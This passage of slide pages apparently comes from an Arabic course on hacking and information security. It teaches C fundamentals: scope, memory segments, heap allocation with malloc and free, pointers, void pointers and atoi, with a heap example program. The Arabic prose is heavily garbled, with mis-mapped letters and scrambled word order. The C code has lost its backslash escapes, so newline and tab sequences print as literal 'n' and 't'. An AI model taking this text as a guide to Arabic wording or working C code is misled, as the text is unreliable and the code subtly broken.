    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [61] :‫النتائج‬ reader@hacking:~/booksrc $ gcc scope2.c reader@hacking:~/booksrc $ ./a.out [in main] i = 3, j = 42 [in func1] i = 5, j = 42 [in func2] i = 7, j = 42 [in func2] setting j = 1337 [in func3] i = 11, j = 999 [back in func2] i = 7, j = 1337 [back in func1] i = 5, j = 1337 [back in main] i = 3, j = 1337 reader@hacking:~/booksrc $
  • 62.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [62] Memory Segmentation ‫ج‬ ُ‫لنخر‬ ‫ذيا‬ ‫لىل‬ .!‫آطر‬ ‫قاصل‬ . ‫لق‬َ‫ع‬َ‫ت‬ُ‫مل‬‫ا‬ ‫األمور‬ ‫بعض‬ ‫عن‬ ‫م‬ّ‫ل‬‫َك‬‫ت‬َ‫ن‬ َ ‫س‬ ‫ة‬ ‫بال‬ memory segmentation . ‫ال‬ ‫عن‬ ‫قبل‬ ‫من‬ ‫تكلمنا‬ ‫قد‬ ‫ُنا‬‫ك‬ x86 architecture ، ‫ال‬ ‫ذذا‬ ‫عن‬ ‫سنتكلم‬ architecture ‫الثال‬ ‫الباب‬ ‫يف‬ ً‫ا‬‫ق‬‫الح‬ ُ‫ه‬‫ن‬َ‫ع‬ ‫وسنتكلم‬ ،‫األمور‬ ‫عض‬َ‫ب‬ ‫َوضيح‬‫ت‬‫ل‬ ً‫ا‬‫د‬ّ‫َد‬ ُ ‫جم‬ ً‫ا‬‫أيض‬ ‫ث‬ . ‫َرى‬‫ت‬ ‫َام‬‫ك‬ ‫كونات‬ُ‫م‬ ‫ثالثة‬ ‫ن‬‫م‬ ‫ن‬ّ‫تكو‬َ‫ي‬ ‫هو‬َ‫ق‬ hardware :  The central processing unit (CPU) executes code.  The main memory of the system (RAM) stores all data and code.  An input/output system (I/O) interfaces with devices such as hard drives, Keyboards, and monitors.
  • 63.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [63] ‫َن‬‫ن‬‫ل‬ ‫ال‬ ‫لىل‬ ‫ل‬‫تق‬ Main Memory ‫ُريد‬‫ن‬ ‫ما‬ َ‫ي‬‫ه‬َ‫ق‬ ‫ه‬ .‫اآلن‬ ‫ال‬ ‫م‬‫ُقس‬‫ت‬ RAM :‫وذي‬ ‫أساسية‬ ‫أقسام‬ ‫أربعة‬ ‫اىل‬ Data, Code, Heap, and Stack ‫ال‬ ‫يوضح‬ ‫شكل‬ ‫ماييل‬ Main Memory ‫ال‬ ‫وبعض‬ Sections ،‫ها‬‫ل‬‫داط‬‫ب‬ .‫منهم‬ ‫كل‬ ‫وظيفة‬ ‫برشح‬ ‫لنشاءاهلل‬ ‫سنقوم‬
  • 64.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [64] Data ‫ال‬ ‫ن‬ َ‫ز‬ َ‫ُم‬ ‫ذو‬ ‫ذذا‬ Values ‫ند‬‫ع‬ ‫ل‬َ‫م‬َ‫ع‬ ‫م‬‫ت‬َ‫ي‬ ‫ما‬ load ‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬ .‫للربنامج‬ values ‫تكون‬ ‫أن‬ ‫لما‬ Static values ‫أهنا‬ ‫بمعنى‬ ‫ال‬ ‫الربنامج‬ ‫ل‬َ‫م‬َ‫ع‬ ‫أثناء‬ ‫تتغري‬ . ‫ال‬ ‫وذو‬ ‫اآلطر‬ ‫النوع‬ ‫أو‬ Global values ‫ألي‬ ‫متاحة‬ ‫قيم‬ ‫أهنا‬ ‫وذو‬ function ‫داطل‬ .‫الربنامج‬ ‫بال‬ ‫نعني‬ ..‫صغرية‬ ‫مالحظة‬ ‫ذناك‬ ‫لكن‬ “Data” ‫ذذه‬ ‫ن‬‫م‬ ٍّ‫أي‬ ‫أن‬ ‫عمل‬ ‫تم‬ ‫قد‬ ‫تغريات‬ُ‫مل‬‫ا‬ ‫ن‬‫م‬ ‫األنواع‬ initialized ‫بقيمة‬ ‫هلا‬ ‫حمدد‬ ‫ة‬ ‫ال‬ ‫يف‬ ‫بوضعها‬ ‫سنقوم‬ ، " Section Data ." ‫دد‬ ُ ‫حم‬ ‫بقيمة‬ ‫ُعرقها‬‫ن‬ ‫مل‬ ‫لذا‬ ‫أما‬ ‫ة‬ ‫لىل‬ ‫ستذذب‬ ،!‫ذنا‬ ‫وضعها‬ ‫يتم‬ ‫قلن‬ section ‫يسمى‬ ‫آطر‬ “Bss Section” . ‫ال‬ ‫بني‬ ‫الفرق‬ initialized ‫وال‬ uninitialized : int global_var; int global_initialized_var = 5; ‫يف‬ ‫األوىل‬ ‫احلالة‬ ‫ال‬ ‫قسم‬ ‫يف‬ ‫املتغري‬ ‫ذذا‬ ‫ختزين‬ ‫سيتم‬ " Bss " َ ‫َرب‬‫ت‬‫ع‬ُ‫ي‬ ‫ألنه‬ Uninitialized variable . ‫يف‬ ‫أما‬ ‫الثانية‬ ‫احلالة‬ ‫ذي‬ ‫قيمة‬ ‫بإعطائه‬ ‫منا‬ُ‫ق‬ ‫قنحن‬ ( 5 ،) ‫ق‬ ‫أصبح‬ " initialized var ،" ‫ال‬ ‫قسم‬ ‫يف‬ ‫ختزينه‬ ‫سيتم‬ ‫وبالتايل‬ " Data ." Code or Text Section ‫ال‬ ‫لليه‬ ‫يذذب‬ ‫الذي‬ ‫املكان‬ ‫ذو‬ ‫ذذا‬ Compiled Code ‫ال‬ ‫عىل‬ ‫حيتوي‬ ‫قهو‬ instructions .
  • 65.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [65] Heap ‫ذذ‬ ‫ه‬ ‫ال‬ Segment ‫مهم‬ ‫ة‬ ‫قه‬ ،ً‫ا‬‫جد‬ ‫ي‬ ‫مسؤول‬ ‫ة‬ ‫ال‬ ‫عن‬ Dynamic memory ‫ال‬ ‫أثناء‬ program execution . ‫تقوم‬ ‫لهنا‬ ‫بعمل‬ allocate ‫لل‬ values ‫نفس‬ ‫ويف‬ ،‫الربنامج‬ ‫عمل‬ ‫أثناء‬ ‫تظهر‬ ‫التي‬ ‫اجلديدة‬ ‫بعمل‬ ً‫ا‬‫أيض‬ ‫تقوم‬ ‫الوقت‬ free ‫تفريغ‬ ‫أي‬ ‫لل‬ memory ‫بال‬ ‫عليها‬ ‫يطلق‬ ‫هلذا‬ ،!‫لليها‬ ‫بحاجة‬ ‫الربنامج‬ ‫يعد‬ ‫مل‬ ‫التي‬ ‫القيم‬ ‫من‬ " Dynamic memory " ‫ألهنا‬ ‫تزيد‬ ‫املتطلبات‬ ‫عىل‬ ً‫ء‬‫بنا‬ ‫وتنقص‬ . ‫مث‬ ‫تصفحات‬ُ‫مل‬‫ا‬ ‫ذلك‬ ‫عىل‬ ً‫ال‬‫ا‬ ‫الن‬ ‫نوع‬ ‫وقق‬ ‫الذاكرة‬ ‫ك‬‫تستهل‬ ‫ألهنا‬ ‫بدأ‬َ‫مل‬‫ا‬ ‫ذذا‬ ‫عىل‬ ‫تعتمد‬ َ‫ي‬‫ه‬َ‫ق‬ ، ‫عىل‬ ‫أنت‬ ُ‫ه‬‫متارس‬ ‫الذي‬ ‫شاط‬ ‫ى‬‫سم‬ُ‫ي‬ ‫الثغرات‬ ‫من‬ ‫نوع‬ ‫يوجد‬ ..‫االنرتنت‬ “Heap Overflow” ‫عنه‬ ‫القراءة‬ ‫ُك‬‫ن‬‫مك‬ُ‫ي‬ . Stack ‫ال‬ ‫مع‬ ‫تتعامل‬ ‫أهنا‬ ‫أرشنا‬ ‫وكام‬ ..ً‫ا‬‫مسبق‬ ‫عنها‬ ‫تكلمنا‬ ‫قد‬ ‫ُنا‬‫ك‬ Local Variables ‫وال‬ parameters ‫بال‬ ‫اخلاصة‬ Functions ‫ال‬ ‫بني‬ ‫عالقة‬ ‫وجود‬ ‫ستالحظ‬ . Heap ‫ال‬ ‫و‬ Stack ،‫طرف‬ ‫يف‬ ‫ام‬ُ‫نه‬‫م‬ ‫كل‬ ‫املساحة‬ ‫نفس‬ ‫يف‬ ‫يتموضعان‬ ‫حيث‬ ‫ال‬ ‫تزداد‬ ‫قربام‬ ،!‫للحاجة‬ ً‫ا‬‫وقق‬ ‫صان‬ُ‫ق‬‫ن‬َ‫ي‬‫و‬ ‫زيدان‬َ‫ي‬ stack ‫ال‬ ‫حساب‬ ‫عىل‬ heap ‫لتحسني‬ ‫وذذا‬ ،!‫صحيح‬ ‫والعكس‬ ، ‫ال‬ ‫استغالل‬ memory .‫املستطاع‬ ‫قدر‬ ‫املساحات‬ ‫يف‬ ‫اهلدر‬ ‫ولتاليف‬ ‫ا‬ ‫الحظ‬ ‫ل‬ Heap ‫وال‬ Stack :‫التايل‬ ‫الشكل‬ ‫يف‬ ً‫ا‬‫أيض‬ ‫يظهر‬ ‫به‬ ‫ال‬ " Bss Section " ‫ال‬ ‫يف‬ ‫يظهر‬ ‫مل‬ ‫الذي‬ Layout ‫ال‬ ‫َخزين‬‫ت‬‫ل‬ ‫صص‬َ ُ ‫ُم‬ ‫أنه‬ ‫ر‬‫ك‬َ‫َذ‬‫ت‬ ..‫املايض‬ " Uninitialized variables " .
  • 66.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [66] ‫ذذا‬ ‫من‬ ‫االنتهاء‬ ‫عىل‬ ‫شارقنا‬ ‫ققد‬ ‫تقلق‬ ‫ال‬ ..‫الربجمية‬ ‫األساسيات‬ ‫الستكامل‬ ‫ديد‬ َ‫ج‬ ‫ن‬‫م‬ ‫َعود‬‫ن‬‫ل‬ ‫ذيا‬ !‫الباب‬ . The Heap ‫كام‬ ‫ذكرنا‬ ‫أ‬ ،‫قبل‬ ‫من‬ ‫ال‬ ‫ة‬َ‫ق‬‫ري‬َ‫ط‬ ‫ن‬ declare ‫ال‬ ‫يف‬ ‫لما‬ ،ُ‫ه‬ُ‫ع‬‫ض‬َ‫و‬ ‫م‬‫ت‬َ‫ي‬ َ ‫س‬ ‫أين‬ ‫د‬ّ‫د‬َ‫ُح‬‫ت‬‫س‬ ‫التي‬ ‫ذي‬ ‫تغري‬ُ‫للم‬ Bss Segment ‫ال‬ ‫يف‬ ‫أو‬ Data Segment . ‫ال‬ ‫داطل‬ ‫مساحة‬ ‫حجز‬ ‫أردنا‬ ‫لذا‬ ‫بينام‬ Heap ‫قنستخدم‬ function ‫ى‬َ‫ع‬‫ُد‬‫ت‬ malloc( ) ، ‫تستقبل‬ ُ ‫ث‬‫ي‬ َ‫ح‬
  • 67.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [67] ‫الدالة‬ ‫ذذه‬ ‫نك‬‫م‬ argument ‫ال‬ ‫وذي‬ ‫وحيده‬ Size ، ‫املساحة‬ ‫ال‬ ‫ّن‬‫ك‬َ‫تتم‬ ‫مل‬ ‫ولذا‬ ،‫جزذا‬ َ‫ح‬ ‫د‬َ‫َو‬‫ت‬ ‫التي‬ malloc( ) ‫حجز‬ ‫من‬ ‫لك‬ ‫ع‬‫ُرج‬‫ت‬ ‫قإهنا‬ ‫املساحة‬ ‫تلك‬ " Null Pointer with value 0 ." ‫وجود‬ ‫دهيي‬َ‫ب‬‫ال‬ َ‫ن‬‫م‬ ً‫ا‬‫أيض‬ Function ‫ال‬ ‫ساحة‬‫م‬ ‫َفريغ‬‫ت‬‫ب‬ ‫َقوم‬‫ت‬ ‫َي‬‫ك‬‫ل‬ ‫ا‬ َ‫هل‬ ‫رة‬‫ناظ‬ُ‫م‬ Heap ..ً‫ا‬‫ق‬‫الح‬ ‫استخدامها‬ ‫ن‬‫م‬ َ ‫ُك‬‫ن‬‫ك‬َ ُ‫مت‬ ‫كي‬ ‫عليها‬ ‫ق‬َ‫ل‬‫ط‬ُ‫ي‬ Free( ) . :‫الدالة‬ ‫شكل‬ ‫ييل‬ ‫ما‬ int array[10]; int * array = malloc(10 * sizeof(int)); ‫ال‬ ‫ة‬َ‫غ‬ُ‫ل‬ ‫يف‬ C ، ‫و‬َ‫ق‬‫ال‬ ‫تنفيذ‬ ‫م‬‫ت‬َ‫ي‬ ‫اخلارجي‬ ‫م‬ُ‫ث‬ ،ً‫ال‬‫أو‬ ‫الداطيل‬ ‫س‬ .. ‫ال‬ ‫ستقوم‬ ‫نا‬ُ‫ذ‬ sizeof( ) ‫طلوب‬َ‫مل‬‫ا‬ ‫املساحة‬ ‫ساب‬‫ح‬‫ب‬ ‫ة‬ ُ ‫حيث‬ ‫طلوب‬َ‫مل‬‫ا‬ ‫ساحة‬‫امل‬ :‫بالتايل‬ ‫تقوم‬ ‫ة‬ ‫ل‬ One Integer ‫يف‬ ‫مرضوبة‬ 10 ، :‫بمعنى‬ " ‫نوع‬ ‫من‬ ‫أرقام‬ ‫عرشة‬ ‫الستيعاب‬ ‫مساحة‬ int " . ‫ال‬ ‫تقوم‬ ‫ثم‬ malloc( ) ‫ال‬ ‫داطل‬ ‫املساحة‬ ‫بحجز‬ Heap ‫نا‬َ‫ل‬ ‫ع‬‫ُرج‬‫ت‬‫و‬ pointer ‫ال‬ ‫ذذا‬ ‫عنوان‬ ‫لىل‬ ‫شري‬ُ‫ي‬ block ‫ال‬ ‫داطل‬ Heap ‫ال‬ ‫ذذا‬ ،! pointer ‫سيكون‬ ‫باألعىل‬ ‫مثالنا‬ ‫يف‬ : *array . ‫بال‬ ‫متعلقة‬ ‫مالحظة‬ ‫ذناك‬ malloc( ) ‫بحجز‬ ‫تقوم‬ ‫قهي‬ ‫ال‬ ‫يف‬ ‫ما‬ ٍ‫مساحة‬ Heap ‫بال‬ ‫االذتامم‬ ‫دون‬ Data type ‫راد‬ُ‫مل‬‫ا‬ ‫لنا‬ ‫بإرجاع‬ ‫قتقوم‬ ،!ُ‫ه‬‫ل‬ ‫املساحة‬ ‫جز‬ َ‫ح‬ pointer ‫نوع‬ ‫من‬ ‫لكن‬ Void .. ‫ال‬ ‫ذذا‬ ‫ما‬..!‫حلظة‬ void pointer ‫؟‬ ..ً‫ا‬‫حسن‬ ‫لل‬ ‫الذذاب‬ ‫يمكنك‬ ‫التالي‬ ‫فقره‬ ‫ة‬ ‫بعنوان‬ ‫التي‬ " void pointer " .. ‫م‬ُ‫ث‬ ‫د‬ُ‫ع‬ .‫جديد‬ ‫من‬ ‫نا‬ُ‫ذ‬ ‫لىل‬
  • 68.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [68] ‫وبعد‬ ‫واآلن‬ ‫ال‬ َ ‫ت‬‫م‬‫ه‬َ‫ق‬ ‫ن‬َ‫أ‬ void pointer ‫بال‬ ‫اخلاص‬ ‫اإلشكال‬ ‫ذذا‬ ‫ل‬َ‫ح‬‫ب‬ ‫نقوم‬‫ل‬ ‫ذيا‬ ، malloc( ) . ‫ما‬ ٍ‫يشء‬ ‫بإضاقة‬ ‫سنقوم‬ ‫ال‬ ‫نوع‬ ‫عىل‬ ‫للتأكيد‬ data type ‫حجوز‬َ‫مل‬‫ا‬ ‫ة‬ ‫ال‬ ‫يف‬ heap ‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫سنقوم‬ ‫ببساطة‬ .. Casting ‫ال‬ ‫ذا‬‫هل‬ void pointer ‫ال‬ ‫لىل‬ data type .!‫هلا‬ ‫املساحة‬ ‫ز‬‫ج‬ َ‫ح‬ ‫د‬َ‫َو‬‫ن‬ ‫التي‬ ‫ذل‬ ‫ال‬ ‫نسيت‬ Cast ..‫؟‬ ‫لىل‬ ‫بالعوده‬ ،‫احتجت‬ ‫لن‬ ‫راجعته‬ُ‫م‬ ‫ُك‬‫ن‬‫مك‬ُ‫ي‬ ‫ال‬ ‫ققرة‬ Typecasting . ‫بدون‬ ‫األوىل‬ ..‫احلالتني‬ ‫لك‬ ‫يوضح‬ ‫مثال‬ ‫ذذا‬ Cast ‫بال‬ ‫والثانية‬ ، Cast . int * ptr; ptr = malloc(10 * sizeof(int)); /* without a cast */ ptr = (int *)malloc(10 * sizeof(int)); /* with a cast */ ‫ال‬ ‫تفشل‬ ‫األحيان‬ ‫بعض‬ ‫يف‬ malloc( ) ‫ال‬ ‫حجم‬ َ ‫رب‬‫ك‬‫ل‬ ‫بام‬ُ‫ر‬ ‫املساحة‬ ‫حجز‬ ‫يف‬ buffer ،‫آطر‬ ‫سبب‬ ‫ألي‬ ‫أو‬ ‫املطلوب‬ ‫بعمل‬ ‫يقوم‬ ‫بسيط‬ ‫كود‬ ‫لضاقة‬ ‫مكننا‬ُ‫ي‬ ‫وبالتايل‬ Error checking ‫ال‬ ‫عملية‬ ‫من‬ ‫لنا‬ ‫ليتأكد‬ allocation . int * array = malloc(10 * sizeof(int)); if (NULL == array) { fprintf(stderr, "malloc failedn"); return(-1); } ‫ال‬ ‫ذذه‬ ‫تعمل‬ ‫كيف‬ ً‫ا‬‫مع‬ ‫لنرى‬ Functions !‫رائع‬ ‫ثال‬‫م‬‫ب‬ ‫و‬ ، ‫األ‬ ‫فاذيم‬َ‫مل‬‫ا‬ ‫ض‬‫ع‬َ‫ب‬‫ل‬ ‫ة‬ َ‫حاج‬‫ب‬ ُ‫َحن‬‫ن‬ ‫لكن‬ ‫ولية‬ ‫ن‬َ‫َضم‬‫ن‬‫ل‬ ‫ال‬ ‫م‬‫ه‬َ‫ف‬ ‫اجليد‬ .‫ثال‬‫امل‬ ‫ذا‬‫هل‬ ‫ال‬ ‫عن‬ ‫َكلمنا‬‫ت‬ ‫د‬َ‫ق‬ ‫ننا‬َ‫أ‬ ‫ر‬‫ك‬َ‫َذ‬‫ت‬ pointers ‫مارأي‬ ،‫نواعها‬َ‫أ‬‫و‬ ‫ك‬ ‫بإجراء‬ ‫مراجع‬ ‫ة‬ ‫ِسيع‬ ‫ة‬ .‫؟‬ ..!‫بأس‬ ‫ال‬ .
  • 69.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [69] :‫الشكل‬ ‫ذا‬‫هل‬ ‫انتبه‬ ‫أن‬ ‫ن‬ُ‫ظ‬‫أ‬ ‫نا‬ َ‫ن‬ :ً‫ال‬‫قمث‬ ..‫كذلك؟‬ َ ‫أليس‬ ..ً‫ا‬‫يد‬ َ‫ج‬ ُ‫ه‬‫م‬َ‫فه‬ (i = 3) ، ‫بينام‬ (&i = 65524) . ‫لنأطذ‬ ‫املتغري‬ ‫ذذا‬ ‫عىل‬ ‫مثال‬ i : int main() { int *ptr, i; i = 3; /* address of i is assigned to ptr */ ptr = &i; /* show i's value using ptr variable */ printf("Value of i : %d", *ptr); return 0; } ّ ‫تغري‬ُ‫م‬ ‫َعريف‬‫ت‬‫ب‬ ‫منا‬ُ‫ق‬ i ‫و‬ ، pointer ُ‫ه‬‫اسم‬ ptr ‫ال‬ ‫ذذا‬ ‫جعلنا‬ ‫م‬ُ‫ث‬ ، pointer ‫ال‬ ‫لىل‬ ‫شري‬ُ‫ي‬ " address-of i " . ‫طباعة‬ ‫أردنا‬ ‫ثم‬ ‫ال‬ ‫ذذا‬ ‫حمتويات‬ " block of memory " ‫ال‬ ‫لليه‬ ‫شري‬ُ‫ي‬ ‫الذي‬ pointer ، ( ‫الرقم‬ ‫وذو‬ 3 ‫سنضع‬ ‫نا‬ُ‫ذ‬ ،) )*( ‫ال‬ ‫قبل‬ pointer ‫ال‬ ‫ل‬‫داط‬ ‫نستدعيه‬ ‫عندما‬ printf( ) ، ‫العملية‬ ‫ذذه‬ ‫ُسمى‬‫ت‬‫و‬ “Dereferencing of Pointer” :‫كاتايل‬ ‫النهاية‬ ‫يف‬ ‫املخرجات‬ ‫وتكون‬ value of i : 3
  • 70.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [70] :‫اآليت‬ ‫يف‬ ‫األمر‬ ‫تلخيص‬ ‫نستطيع‬  (&) symbol is used to get address of variable  (*) symbol is used to get value from the address given by pointer.  (*) Symbol when used with Pointer variable it refers to variable being pointed to, this is called as “Dereferencing of Pointers”. ‫ييل‬ ‫ما‬ ‫توضيحي‬ ‫شكل‬ ‫أطري‬ : ‫عر‬ ‫نا‬ُ‫ذ‬ ‫قنا‬ ) ُ‫ه‬‫لسم‬ ‫تغري‬ُ‫م‬ (num ‫و‬ pointer) ُ‫ه‬‫لسم‬ (ptr ،‫تغري‬ُ‫مل‬‫ا‬ ‫ذذا‬ ‫لىل‬ ‫شري‬ُ‫ي‬‫ل‬ ‫ال‬ ‫بني‬ ‫التشابه‬ ‫نقاط‬ ‫يوضح‬ ‫اجلدول‬ ‫وذذا‬ ptr ‫ال‬ ‫و‬ &num ‫املتغري‬ ‫قيمة‬ ‫اآلطر‬ ‫الوجه‬ ‫عىل‬ ‫و‬ num ‫وال‬ “Dereferencing of Pointer ptr” ‫الرمز‬ ‫يف‬ ‫ل‬ِّ‫ث‬َ‫َم‬‫ت‬ُ‫مل‬‫ا‬ *ptr .!‫املعنى‬ ‫نفس‬ ‫حيمل‬ ‫كالذم‬ ‫حيث‬ Variable Value in it num 50 &num 1002 ptr 1002 *ptr 50
  • 71.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [71] Void Pointer ‫دور‬ ‫جاء‬ ‫ال‬ void pointer .. ‫بعمل‬ ‫قمنا‬ ‫أننا‬ ‫لنفرض‬ declare :ً‫ال‬‫مث‬ ‫املتغريات‬ ‫من‬ ‫أنواع‬ ‫لثالثة‬ (integer, float, and character) ، ‫أردنا‬ ‫م‬ُ‫ث‬ ‫منهم‬ ‫تغري‬ُ‫م‬ ‫لكل‬ ‫ختصيص‬ pointer ‫عىل‬ ً‫ء‬‫بنا‬ ‫لليه‬ ‫لىل‬ ‫شري‬ُ‫ي‬ ‫ال‬ ‫من‬ ‫أنواع‬ ‫ثالثة‬ ‫بتعريف‬ ‫حينها‬ ‫سنقوم‬ ،‫نوعه‬ pointers .. ‫ب‬ ‫واإلكتفاء‬ ‫اجلهد‬ ‫توقري‬ ‫ُنا‬‫ن‬‫ك‬ُ‫يم‬ ‫ولكن‬ pointer ‫وحيد‬ . ‫ال‬ ‫ذذا‬ " void pointer " ُ‫ي‬ َ ‫س‬ ‫ألن‬ ‫اجلهد‬ ‫لينا‬َ‫ع‬ ‫ر‬ِّ‫ق‬‫و‬ ‫من‬ ‫سنتمكن‬ ‫نا‬ ‫لته‬َ‫م‬‫عا‬ُ‫م‬ ‫ك‬ integer pointer ‫أو‬ character pointer ‫احلاج‬ ‫حسب‬ ‫ة‬ . :‫للتوضيح‬ ‫مثال‬ ‫ذذا‬ void *ptr; // ptr is declared as Void pointer char charnum; int intnum; float floatnum; ptr = &charnum; // ptr has address of character data ptr = &intnum; // ptr has address of integer data ptr = &floatnum; // ptr has address of float data ‫تلخ‬ ‫نستطيع‬ ‫ال‬ ‫به‬ ‫سيقوم‬ ‫ما‬ ‫يص‬ “void ptr” :‫النقاط‬ ‫ِبذه‬ ‫نا‬ُ‫ذ‬
  • 72.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [72] Scenario Behavior When We assign address of integer variable to void pointer Void Pointer Becomes Integer Pointer When We assign address of character variable to void pointer Void Pointer Becomes Character Pointer When We assign address of floating variable to void pointer Void Pointer Becomes Floating Pointer ‫عن‬ ‫أتكلم‬ ‫أن‬ ‫أود‬ ً‫ا‬‫وأطري‬ Function ‫تسمى‬ atoi( ) ‫ال‬ ‫من‬ ‫للتحويل‬ ‫م‬َ‫ُستخد‬‫ت‬ ( data type character ) ‫ال‬ ‫اىل‬ ( integer data type ) .. ‫قمنا‬ ‫كيف‬ ‫يوضح‬ ‫مثال‬ ‫ييل‬ ‫قيام‬ ‫أرقام‬ ‫جمموعة‬ ‫بوضع‬ (integers) ‫ُمتلف‬ ‫نوع‬ ‫من‬ ‫متغري‬ ‫يف‬ character) ) :‫الشاشة‬ ‫عىل‬ ‫وعرضها‬ #include <stdio.h> #include <stdlib.h> #include <string.h> int main() { int val; char str[20]; strcpy(str, "98993489"); val = atoi(str); printf("String value = %s, Int value = %dn", str, val); return(0); }
  • 73.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [73] :‫كالتايل‬ ‫ج‬‫النتائ‬ ‫تكون‬ String value = 98993489, Int value = 98993489 ‫ال‬ ‫ثال‬‫م‬ ‫تسبق‬ ‫التي‬ ‫قدمة‬ُ‫مل‬‫ا‬ ‫من‬ ‫انتهينا‬ ..ً‫ا‬‫حسن‬ Heap Segment . Heap Example: #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char *char_ptr; // A char pointer int *int_ptr; // An integer pointer int mem_size; if (argc < 2) // If there aren't command-line arguments, mem_size = 50; // use 50 as the default value. else mem_size = atoi(argv[1]); printf("t[+] allocating %d bytes of memory on the heap for char_ptrn", mem_size); char_ptr = (char *) malloc(mem_size); // Allocating heap memory if(char_ptr == NULL) { // Error checking, in case malloc( ) fails fprintf(stderr, "Error: could not allocate heap memory.n"); exit(-1); } strcpy(char_ptr, "This is memory is located on the heap."); printf("char_ptr (%p) --> '%s'n", char_ptr, char_ptr); printf("t[+] allocating 12 bytes of memory on the heap for
  • 74.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [74] int_ptrn"); int_ptr = (int *) malloc(12); // Allocated heap memory again if(int_ptr == NULL) { // Error checking, in case malloc( ) fails fprintf(stderr, "Error: could not allocate heap memory.n"); exit(-1); } *int_ptr = 31337; // Put the value of 31337 where int_ptr is pointing. printf("int_ptr (%p) --> %dn", int_ptr, *int_ptr); printf("t[-] freeing char_ptr's heap memory...n"); free(char_ptr); // Freeing heap memory printf("t[+] allocating another 15 bytes for char_ptrn"); char_ptr = (char *) malloc(15); // Allocating more heap memory if(char_ptr == NULL) { // Error checking, in case malloc( ) fails fprintf(stderr, "Error: could not allocate heap memory.n"); exit(-1); } strcpy(char_ptr, "new memory"); printf("char_ptr (%p) --> '%s'n", char_ptr, char_ptr); printf("t[-] freeing int_ptr's heap memory...n"); free(int_ptr); // Freeing heap memory printf("t[-] freeing char_ptr's heap memory...n"); free(char_ptr); // Freeing the other block of heap memory } ‫ال‬ ‫باستخدام‬ ‫منا‬ُ‫ق‬ ‫البداية‬ ‫يف‬ cmd-line arguments .. ‫ال‬ ‫أن‬ ‫ر‬‫ك‬َ‫َذ‬‫ت‬ arg[0] ،‫نفسه‬ ‫الربنامج‬ ‫اسم‬ ‫ذو‬ ‫م‬ُ‫ث‬ arg[1] ‫أول‬ ‫ذي‬ string .‫الربنامج‬ ‫لسم‬ ‫بعد‬ ..‫َحن‬‫ن‬ ‫تابتها‬‫ك‬‫ب‬ ‫نقوم‬
  • 75.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [75] ‫دالة‬ ‫يف‬ ‫ربنا‬ ُ ‫خي‬ if ‫ال‬ ‫ل‬‫سيستقب‬ ُ‫ه‬‫أن‬ arg[1] ‫لىل‬ ‫بتحويلها‬ ‫ليقوم‬ integer ‫باستخدام‬ atoi( ) ‫وض‬ ‫ثم‬ ‫املتغري‬ ‫يف‬ ‫عها‬ mem_size ، ‫ال‬ ‫يرى‬ ‫مل‬ ‫لذا‬ ‫أنه‬ ‫الحظ‬ compiler ‫أي‬ arguments ‫لل‬ ‫لقرتاضية‬ ‫مساحة‬ ‫بتحديد‬ ‫قسيقوم‬ ‫ققط‬ ‫األوىل‬ ‫غري‬ mem_size ‫ب‬ 50 Bytes ، .‫حال‬ ‫بأي‬ ‫الربنامج‬ ‫عمل‬ ‫نضمن‬ ‫كي‬ ‫تقوم‬ ‫ثم‬ printf( ) ‫حتويه‬ ‫ما‬ ‫بطباعة‬ mem_size ‫يف‬ ، ‫ستكون‬ ‫ذذه‬ ‫نا‬‫حالت‬ 50 ‫ل‬‫ط‬‫ُد‬‫ن‬ ‫مل‬ ‫أننا‬ ‫حيث‬ ‫أي‬ Argus . ‫ال‬ ‫تقوم‬ ‫ثم‬ malloc( ) ‫ال‬ ‫يف‬ ‫املطلوبة‬ ‫املساحة‬ ‫بحجز‬ Heap ‫ال‬ ‫ولرجاع‬ pointer ‫ال‬ ‫عمل‬ ‫مع‬ Cast .ً‫ا‬‫سابق‬ ‫رشحنا‬ ‫كام‬ ‫له‬ ‫أن‬ ‫اآلن‬ ‫الحظ‬ char_ptr ‫لىل‬ ‫شري‬ُ‫ي‬ َ ‫ح‬َ‫ب‬‫أص‬ :‫ماييل‬ " address of memory allocated in Heap ." ‫وباستخدام‬ strcpy( ) ‫ذذا‬ ‫يف‬ ‫ما‬ ٍ‫لة‬ ُ ‫مج‬ ‫ضع‬َ‫و‬‫ب‬ ‫َقوم‬‫ن‬ َ ‫س‬ ‫ال‬ block of 